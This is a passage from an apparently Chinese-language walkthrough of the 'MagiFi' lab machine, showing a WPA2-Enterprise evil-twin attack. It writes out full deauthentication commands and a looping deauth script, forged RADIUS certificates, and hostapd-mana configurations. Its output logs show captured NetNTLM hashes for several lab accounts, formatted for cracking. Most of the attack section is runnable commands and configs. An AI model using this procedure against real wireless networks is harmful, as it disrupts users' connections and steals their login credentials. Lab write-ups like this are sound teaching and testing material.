&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo /usr/sbin/airodump-ng wlan0mon --band a   # 5GHz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;这里的监听不要关，后面每一步都需要用到这个，这个就像眼睛，用来辅助进行攻击的，添加ssh凭证多开几个终端进行下面的攻击！&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
 F0:9F:C2:71:22:15  -28       15        0    0  44   54e  WPA2 CCMP   MGT  wifi-college
 F0:9F:C2:71:22:17  -28       15        0    0  40   54e  WPA2 CCMP   MGT  wifi-college
 F0:9F:C2:71:22:16  -28       15        0    0  36   54e  WPA2 CCMP   MGT  wifi-college
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检测到三个 &lt;code&gt;WPA2&lt;/code&gt; 管理（MGT）访问点以及 &lt;code&gt;WiFi-College&lt;/code&gt;表明了一些情况：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;该无线网络采用 &lt;strong&gt;WPA2-Enterprise（企业级认证）&lt;/strong&gt;，即通过 &lt;strong&gt;802.1X 协议&lt;/strong&gt; 和 &lt;strong&gt;RADIUS 服务器&lt;/strong&gt; 实现身份验证&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wifi-college&lt;/code&gt; 是该无线网络的 &lt;strong&gt;ESSID（网络名称）&lt;/strong&gt;，通常由网络管理员设置。&lt;ul&gt;
&lt;li&gt;可能是某高校的公共 Wi-Fi（如教学区、宿舍区）。&lt;/li&gt;
&lt;li&gt;使用 WPA2-Enterprise 保障学生、教职工的安全接入。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;结合之前的工具可以猜测接下来是利用伪造&lt;code&gt;wifi&lt;/code&gt;进行中间人攻击或数据窃取。（fake APs），比如可以捕获用户凭据及其 &lt;code&gt;NetNTLM hash&lt;/code&gt;以进行以后的破解。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fake APs&lt;/h3&gt;
&lt;p&gt;首先需要进行解除验证攻击，就是让他们重新连wifi，我们伪造一下，让他们发送认证信息给我们：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;通过强制网络重连，迫使客户端与 AP 重新协商密钥，从而暴露握手包和证书信息。攻击者利用此过程实施中间人攻击，窃取敏感数据。 &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重置网络状态&lt;/strong&gt;：断开连接后，客户端需重新协商加密密钥（如 PMK），此过程会重新生成握手包，增加攻击者捕获的概率。  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan0mon 
aireplay-ng -0 0 -a F0:9F:C2:71:22:16 wlan0mon
aireplay-ng -0 0 -a F0:9F:C2:71:22:17 wlan0mon 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;-0 表示取消认证&lt;/li&gt;
&lt;li&gt;1 表示要发送的取消认证次数（如果需要，可以发送多个）；0 表示连续发送&lt;/li&gt;
&lt;li&gt;-a 是接入点的 MAC 地址&lt;/li&gt;
&lt;li&gt;-c 是要取消身份验证的客户端的 MAC 地址；如果省略此项，则发送广播取消身份验证（并非总是有效）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# mkdir /tmp/scan
sudo /usr/sbin/airodump-ng wlan0mon --band a -c 36,40,44 -w /tmp/scan/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; CH 40 ][ Elapsed: 2 mins ][ 2026-01-25 11:13 ][ WPA ha 
                                                        
 BSSID              PWR  Beacons    #Data, #/s  CH   MB 
                                                        
 F0:9F:C2:71:22:15  -28      443        0    0  44   54 
 F0:9F:C2:71:22:17  -28      438        0    0  40   54 
 F0:9F:C2:71:22:16  -28      440       92    0  36   54 
                                                        
 BSSID              STATION            PWR   Rate    Lo 
                                                        
 F0:9F:C2:71:22:16  64:32:A8:07:6C:43  -29    6e- 6e     0       34  PMKID                                      
 F0:9F:C2:71:22:16  64:32:A8:07:6C:41  -29    0 -24e     0       15                                             
 F0:9F:C2:71:22:16  64:32:A8:07:6C:40  -29    0 -24e     0       13                                             
 F0:9F:C2:71:22:16  64:32:A8:07:6C:42  -29    6e-54e     0       60  PMKID 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;BSSID	CH	状态&lt;/p&gt;
&lt;p&gt;F0:9F:C2:71:22:15	44	空 AP（无客户端）&lt;/p&gt;
&lt;p&gt;F0:9F:C2:71:22:17	40	空 AP（无客户端）&lt;/p&gt;
&lt;p&gt;F0:9F:C2:71:22:16	36	✅ 有客户端（还有 PMKID）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;真正“活着”的目标只有 &lt;strong&gt;&lt;code&gt;**…:16**&lt;/code&gt;&lt;/strong&gt;（CH 36）&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo airodump-ng -c 36 --band a --bssid F0:9F:C2:71:22:16 -w /tmp/scan wlan0mon
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:16 wlan0mon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 目标接收到就会立马进行停止，然后尝试重连，我们则使使用工具保存流量包，可以查看相关信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/harry_potter$ ls -la /tmp/scan
total 228
drwxr-xr-x  2 harry_potter harry_potter   4096 Jan 25 11:11 .
drwxrwxrwt 14 root         root           4096 Jan 25 11:19 ..
-rw-r--r--  1 root         root          30600 Jan 25 11:13 -01.cap
-rw-r--r--  1 root         root           1118 Jan 25 11:13 -01.csv
-rw-r--r--  1 root         root           1122 Jan 25 11:13 -01.kismet.csv
-rw-r--r--  1 root         root           9917 Jan 25 11:13 -01.kismet.netxml
-rw-r--r--  1 root         root         170884 Jan 25 11:13 -01.log.csv  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后按照作者的命令进行提取：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/tmp/scan$ tshark -r -01.cap -Y &amp;quot;ssl.handshake.type == 11&amp;quot; -V | grep -ow -E &amp;#39;(countryName=\\w+)|(stateOrProvinceName=.+)|(localityName=.+)|(organizationName=.+)|(emailAddress=.+)|(commonName=.+)&amp;#39; | cut -d &amp;#39;,&amp;#39; -f 1 | sed &amp;#39;s/)//&amp;#39; | sort -u
commonName=Hogwarts Certificate Authority
emailAddress=ca@hogwarts.htb
emailAddress=server@hogwarts.htb
localityName=Madrid
organizationName=Hogwarts
stateOrProvinceName=Madrid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我们也可以直接用wireshark进行读取&lt;/p&gt;
&lt;p&gt; 过滤出 &lt;strong&gt;SSL/TLS 握手类型为 11&lt;/strong&gt; 的数据包（即证书消息，包含证书内容）  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后就是伪造 wifi，grep出来的就是需要伪造部分：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FreeRADIUS 是一款开源的 &lt;strong&gt;RADIUS 协议服务器&lt;/strong&gt;，主要用于实现网络资源的 &lt;strong&gt;集中化认证、授权和计费（AAA）&lt;/strong&gt;。其核心功能是为网络设备（如无线接入点、路由器、VPN 服务器等）提供用户身份验证服务，并根据策略控制用户对资源的访问权限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:/tmp$ mkdir fakeap
harry_potter@MagiFi:/tmp$ cd fakeap/
harry_potter@MagiFi:/tmp/fakeap$ cp -R /etc/freeradius/3.0/certs certs
harry_potter@MagiFi:/tmp/fakeap$ chmod -R 777 certs/
harry_potter@MagiFi:/tmp/fakeap$ nano certs/ca.cnf
harry_potter@MagiFi:/tmp/fakeap$ grep &amp;#39;^\[certificate_&amp;#39; -A 7 certs/ca.cnf
[certificate_authority]
countryName             = ES
stateOrProvinceName     = Madrid
localityName            = Madrid
organizationName        = Hogwarts
emailAddress            = ca@hogwarts.htb
commonName              = &amp;quot;Hogwarts Certificate Authority&amp;quot;

harry_potter@MagiFi:/tmp/fakeap$ nano certs/server.cnf
harry_potter@MagiFi:/tmp/fakeap$ grep &amp;#39;^\[server&amp;#39; -A 7 certs/server.cnf 
[server]
countryName             = ES
stateOrProvinceName     = Madrid
localityName            = Madrid
organizationName        = Hogwarts
emailAddress            = server@hogwarts.htb
commonName              = &amp;quot;Hogwarts Certificate Authority&amp;quot;

harry_potter@MagiFi:/tmp/fakeap$ cd certs/
harry_potter@MagiFi:/tmp/fakeap/certs$ make
openssl dhparam -out dh -2 2048
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
..................................+...............................................................................................+...++*++*++*++*
openssl req -new  -out server.csr -keyout server.key -config ./server.cnf
Generating a RSA private key
................................................................................................+++++
...+++++
writing new private key to &amp;#39;server.key&amp;#39;
-----
chmod g+r server.key
openssl req -new -x509 -keyout ca.key -out ca.pem \
        -days &amp;#39;60&amp;#39; -config ./ca.cnf \
        -passin pass:&amp;#39;whatever&amp;#39; -passout pass:&amp;#39;whatever&amp;#39;
Generating a RSA private key
.........................................................+++++
.....................+++++
writing new private key to &amp;#39;ca.key&amp;#39;
-----
chmod g+r ca.key
openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key &amp;#39;whatever&amp;#39; -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
Using configuration from ./server.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 1 (0x1)
        Validity
            Not Before: Jun 22 08:05:42 2025 GMT
            Not After : Aug 21 08:05:42 2025 GMT
        Subject:
            countryName               = ES
            stateOrProvinceName       = Madrid
            organizationName          = Hogwarts
            commonName                = Hogwarts Certificate Authority
            emailAddress              = server@hogwarts.htb
        X509v3 extensions:
            X509v3 Extended Key Usage: 
                TLS Web Server Authentication
            X509v3 CRL Distribution Points: 

                Full Name:
                  URI:http://www.example.com/example_ca.crl

Certificate is to be certified until Aug 21 08:05:42 2025 GMT (60 days)

Write out database with 1 new entries
Data Base Updated
openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:&amp;#39;whatever&amp;#39; -passout pass:&amp;#39;whatever&amp;#39;
chmod g+r server.p12
openssl pkcs12 -in server.p12 -out server.pem -passin pass:&amp;#39;whatever&amp;#39; -passout pass:&amp;#39;whatever&amp;#39;
chmod g+r server.pem
server.pem: OK
openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
openssl ca -gencrl -keyfile ca.key -cert ca.pem -config ./ca.cnf -out ca-crl.pem -key &amp;#39;whatever&amp;#39;
Using configuration from ./ca.cnf
openssl crl -in ca-crl.pem -outform der -out ca.crl
rm ca-crl.pem
openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
Generating a RSA private key
.......................................................................................................................+++++
...........+++++
writing new private key to &amp;#39;client.key&amp;#39;
-----
chmod g+r client.key
openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key &amp;#39;whatever&amp;#39; -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
Using configuration from ./client.cnf
Check that the request matches the signature
Signature ok
The countryName field is different between
CA certificate (ES) and the request (FR)
make: *** [Makefile:120: client.crt] Error 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 然后利用&lt;code&gt;eap_user&lt;/code&gt;规定 fakeAP 接收的信息有哪些：  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;mana.eap_user&lt;/code&gt; 是 &lt;strong&gt;无线攻击工具 Mana 的 EAP 认证配置文件&lt;/strong&gt;，用于定义客户端与无线接入点（AP）之间使用的 &lt;strong&gt;EAP 认证协议&lt;/strong&gt;及其支持的子认证方法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;字段&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;含义&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;通配符，表示默认配置适用于所有 EAP 类型。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;PEAP&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;使用 TLS 加密的 EAP 方法，需服务器证书验证。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;TTLS&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;通过 TLS 隧道传输其他认证协议（如 &lt;code&gt;MSCHAPv2&lt;/code&gt;&lt;br/&gt;），需服务器证书。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;TLS&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;纯 TLS 认证，需客户端和服务端证书双向验证。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;FAST&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;基于 TLS 的快速认证，依赖预共享密钥（PSK）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;&amp;quot;t&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;可能为测试模式标记，启用特定调试或攻击逻辑（需结合工具文档）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;TTLS-PAP&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;TTLS 隧道内使用 PAP 明文密码认证（安全性低，易被破解）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;MSCHAPv2&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;微软挑战握手认证协议，广泛用于 Windows 网络。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;[2]&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;可能表示配置版本或子配置块编号，用于多场景切换。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:/tmp/fakeap/certs$ nano mana.eap_user
harry_potter@MagiFi:/tmp/fakeap/certs$ cat mana.eap_user 
*     PEAP,TTLS,TLS,FAST
&amp;quot;t&amp;quot;   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2    &amp;quot;pass&amp;quot;   [2]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后使用从目标访问点获得的数据创建配置文件，例如 SSID，安全设置和接口。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:/tmp/fakeap/certs$ nano mana.conf 
harry_potter@MagiFi:/tmp/fakeap/certs$ cat mana.conf 
ssid=wifi-college
interface=wlan1
driver=nl80211
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/tmp/fakeap/certs/mana.eap_user
ca_cert=/tmp/fakeap/certs/ca.pem
server_cert=/tmp/fakeap/certs/server.pem
private_key=/tmp/fakeap/certs/server.key
private_key_passwd=whatever
dh_file=/tmp/fakeap/certs/dh
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/fakeap/certs/hostapd.credout
mana_eapsuccess=1
mana_eaptls=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 然后是利用&lt;code&gt;hostapd-mana&lt;/code&gt;按照配置文件生成节点，开始广播 SSID 并处理身份验证请求，但是会报错：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:/tmp$ sudo hostapd-mana mana.conf
Configuration file: mana.conf
MANA: Captured credentials will be written to file &amp;#39;/tmp/hostapd.credout&amp;#39;.
Could not read interface wlan1                   flags: No such device
nl80211: Driver does not support authentication/association or connect commands
nl80211: deinit ifname=wlan1                     disabled_11b_rates=0
Could not read interface wlan1                   flags: No such device
nl80211 driver initialization failed.
wlan1                   : interface state UNINITIALIZED-&amp;gt;DISABLED
wlan1                   : AP-DISABLED 
hostapd_free_hapd_data: Interface wlan1                  wasn&amp;#39;t started
harry_potter@MagiFi:/tmp$ ip link show wlan1
16: wlan1: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
    link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为没有设置监听，所以设置一个监听，另开一个终端进行操作！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:/tmp/fakeap/certs$ sudo hostapd-mana mana.conf
Configuration file: mana.conf
MANA: Captured credentials will be written to file &amp;#39;/tmp/fakeap/certs/hostapd.credout&amp;#39;.
Using interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid &amp;quot;wifi-college&amp;quot;
wlan1: interface state UNINITIALIZED-&amp;gt;ENABLED
wlan1: AP-ENABLED 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以了！！！&lt;/p&gt;
&lt;p&gt;然后利用靶机作者写的一个脚本，对所有节点进行挨个解除认证：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:/tmp$ cat deauth.sh 
#!/bin/bash

wlan1=&amp;quot;wlan3&amp;quot;
wlan2=&amp;quot;wlan4&amp;quot;
wlan3=&amp;quot;wlan5&amp;quot;

bssid1Channel=&amp;quot;44&amp;quot;
bssid2Channel=&amp;quot;36&amp;quot;
bssid3Channel=&amp;quot;40&amp;quot;

bssid1=&amp;quot;F0:9F:C2:71:22:15&amp;quot;
bssid2=&amp;quot;F0:9F:C2:71:22:16&amp;quot;
bssid3=&amp;quot;F0:9F:C2:71:22:17&amp;quot;

check_monitor_mode() {
  interface=$1
  channel=$2
  mode=$(iwconfig ${interface}mon 2&amp;gt;/dev/null | grep &amp;quot;Mode:Monitor&amp;quot;)
  if [ -z &amp;quot;$mode&amp;quot; ]; then
    sudo airmon-ng start $interface $channel
  fi
}

run_aireplay() {
  interface=$1
  bssid=$2
  sudo aireplay-ng -0 30 -a $bssid ${interface}mon
}

check_monitor_mode $wlan1 $bssid1Channel
check_monitor_mode $wlan2 $bssid2Channel
check_monitor_mode $wlan3 $bssid3Channel

echo &amp;quot;Running deauthentication attack...&amp;quot;

run_aireplay $wlan1 $bssid1 &amp;amp;
run_aireplay $wlan2 $bssid2 &amp;amp;
run_aireplay $wlan3 $bssid3 &amp;amp;

wait
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; (remote) harry_potter@MagiFi:/tmp/fakeap/certs$ sudo hostapd-mana mana.conf
Configuration file: mana.conf
MANA: Captured credentials will be written to file &amp;#39;/tmp/fakeap/certs/hostapd.credout&amp;#39;.
Using interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid &amp;quot;wifi-college&amp;quot;
wlan1: interface state UNINITIALIZED-&amp;gt;ENABLED
wlan1: AP-ENABLED 
cd ^H^Hwlan1: STA 64:32:a8:07:6c:42 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:42 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:42
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\minerva.mcgonagall
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: STA 64:32:a8:07:6c:41 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:41 IEEE 802.11: associated (aid 2)
wlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: associated (aid 3)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:41
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: associated (aid 4)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:43
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 1: Hogwarts\minerva.mcgonagall
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:40
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\albus.dumbledore
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 0: Hogwarts\rubeus.hagrid
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP EAP-MSCHAPV2 ASLEAP user=minerva.mcgonagall | asleap -C e8:c6:2b:ec:e7:ee:bb:5c -R 0b:4d:f5:5b:b8:28:f3:21:32:77:9a:79:14:fb:d3:a2:5a:aa:8d:fa:de:be:39:7e
MANA EAP EAP-MSCHAPV2 JTR | minerva.mcgonagall:$NETNTLM$e8c62bece7eebb5c$0b4df55bb828f32132779a7914fbd3a25aaa8dfadebe397e:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | minerva.mcgonagall::::0b4df55bb828f32132779a7914fbd3a25aaa8dfadebe397e:e8c62bece7eebb5c
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 5d 17 b4 75 e1 6c a5 11 71 7d d8 db 8f 8c e3 f2
MANA EAP Identity Phase 0: Hogwarts\tom.riddle
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Hogwarts\rubeus.hagrid
MANA EAP EAP-MSCHAPV2 ASLEAP user=rubeus.hagrid | asleap -C 32:c9:d8:fc:a7:e3:4b:4f -R 57:6a:78:08:61:dc:22:a0:21:ab:db:f0:25:99:8e:55:cf:50:99:95:06:eb:c7:36
MANA EAP EAP-MSCHAPV2 JTR | rubeus.hagrid:$NETNTLM$32c9d8fca7e34b4f$576a780861dc22a021abdbf025998e55cf50999506ebc736:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | rubeus.hagrid::::576a780861dc22a021abdbf025998e55cf50999506ebc736:32c9d8fca7e34b4f
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 7a 45 0f 5f 4b 08 b9 69 3f f5 ff d1 03 ac 59 36
MANA EAP Identity Phase 1: Hogwarts\tom.riddle
MANA EAP EAP-MSCHAPV2 ASLEAP user=tom.riddle | asleap -C ac:61:40:15:03:00:fe:00 -R ad:bd:05:09:6a:52:b2:bf:69:c4:2c:50:08:ca:b0:18:7e:d1:c1:4c:6b:0e:ec:d2
MANA EAP EAP-MSCHAPV2 JTR | tom.riddle:$NETNTLM$ac6140150300fe00$adbd05096a52b2bf69c42c5008cab0187ed1c14c6b0eecd2:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | tom.riddle::::adbd05096a52b2bf69c42c5008cab0187ed1c14c6b0eecd2:ac6140150300fe00
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 77 ef 35 cf 2e 10 79 68 70 df 3e 70 f6 d4 b0 e1
MANA EAP Identity Phase 1: Hogwarts\albus.dumbledore
MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.dumbledore | asleap -C 4e:f6:8e:3b:4b:fc:88:e8 -R 63:ad:f2:7c:45:b9:6a:99:7c:46:66:ac:14:70:d0:f4:31:8e:9f:b6:ea:04:e8:5b
MANA EAP EAP-MSCHAPV2 JTR | albus.dumbledore:$NETNTLM$4ef68e3b4bfc88e8$63adf27c45b96a997c4666ac1470d0f4318e9fb6ea04e85b:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | albus.dumbledore::::63adf27c45b96a997c4666ac1470d0f4318e9fb6ea04e85b:4ef68e3b4bfc88e8
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): ce cd d7 f4 a5 cc 68 42 65 c2 a2 35 0e e5 75 e4
wlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:40
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\rubeus.hagrid
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Hogwarts\rubeus.hagrid
MANA EAP EAP-MSCHAPV2 ASLEAP user=rubeus.hagrid | asleap -C b0:19:36:03:f4:e2:88:74 -R 3b:01:17:93:19:e9:70:f7:39:80:91:b6:61:14:2b:ae:db:34:00:d0:b3:f5:6a:c2
MANA EAP EAP-MSCHAPV2 JTR | rubeus.hagrid:$NETNTLM$b0193603f4e28874$3b01179319e970f7398091b661142baedb3400d0b3f56ac2:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | rubeus.hagrid::::3b01179319e970f7398091b661142baedb3400d0b3f56ac2:b0193603f4e28874
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 50 e2 1b a2 49 a6 c5 32 b6 45 38 36 ff bf d6 d5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;节点被解除认证以后尝试重连就会连接到伪造 wifi 上，发送我们需要的 NTLM hash 过来！！！！&lt;/p&gt;
&lt;p&gt;所以这里手动也是可以的，只不过要搞很多次。。。  &lt;/p&gt;
&lt;p&gt;三个kali终端的情况如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# kali1 监听
 CH 128 ][ Elapsed: 10 mins ][ 2025-06-22 13:20 ][ WPA handshake: F0:9F:C2:71:22:16 

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 02:00:00:00:01:00  -28     3409      143    0   1   54        CCMP   MGT  wifi-college                                                                                                     
 F0:9F:C2:71:22:15  -29      265        0    0  44   54e  WPA2 CCMP   MGT  wifi-college                                                                                                     
 F0:9F:C2:71:22:16  -29      264       58    0  36   54e  WPA2 CCMP   MGT  wifi-college                                                                                                     
 F0:9F:C2:71:22:17  -29      267       87    0  40   54e  WPA2 CCMP   MGT  wifi-college                                                                                                     

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 02:00:00:00:01:00  64:32:A8:07:6C:40  -29    1 - 1      0      121  PMKID  wifi-college                                                                                                     
 02:00:00:00:01:00  64:32:A8:07:6C:43  -29    6e- 1      0      193  PMKID  wifi-college                                                                                                     
 02:00:00:00:01:00  64:32:A8:07:6C:42  -29    1 - 1      0      157  PMKID  wifi-college                                                                                                     
 F0:9F:C2:71:22:16  64:32:A8:07:6C:41  -29    6e- 6e     0      166  PMKID  wifi-college
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# kali2 伪造节点
harry_potter@MagiFi:/tmp/fakeap/certs$ sudo hostapd-mana mana.conf
Configuration file: mana.conf
MANA: Captured credentials will be written to file &amp;#39;/tmp/fakeap/certs/hostapd.credout&amp;#39;.
Using interface wlan1 with hwaddr 02:00:00:00:01:00 and ssid &amp;quot;wifi-college&amp;quot;
wlan1: interface state UNINITIALIZED-&amp;gt;ENABLED
wlan1: AP-ENABLED 
wlan1: STA 64:32:a8:07:6c:41 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:41 IEEE 802.11: associated (aid 1)
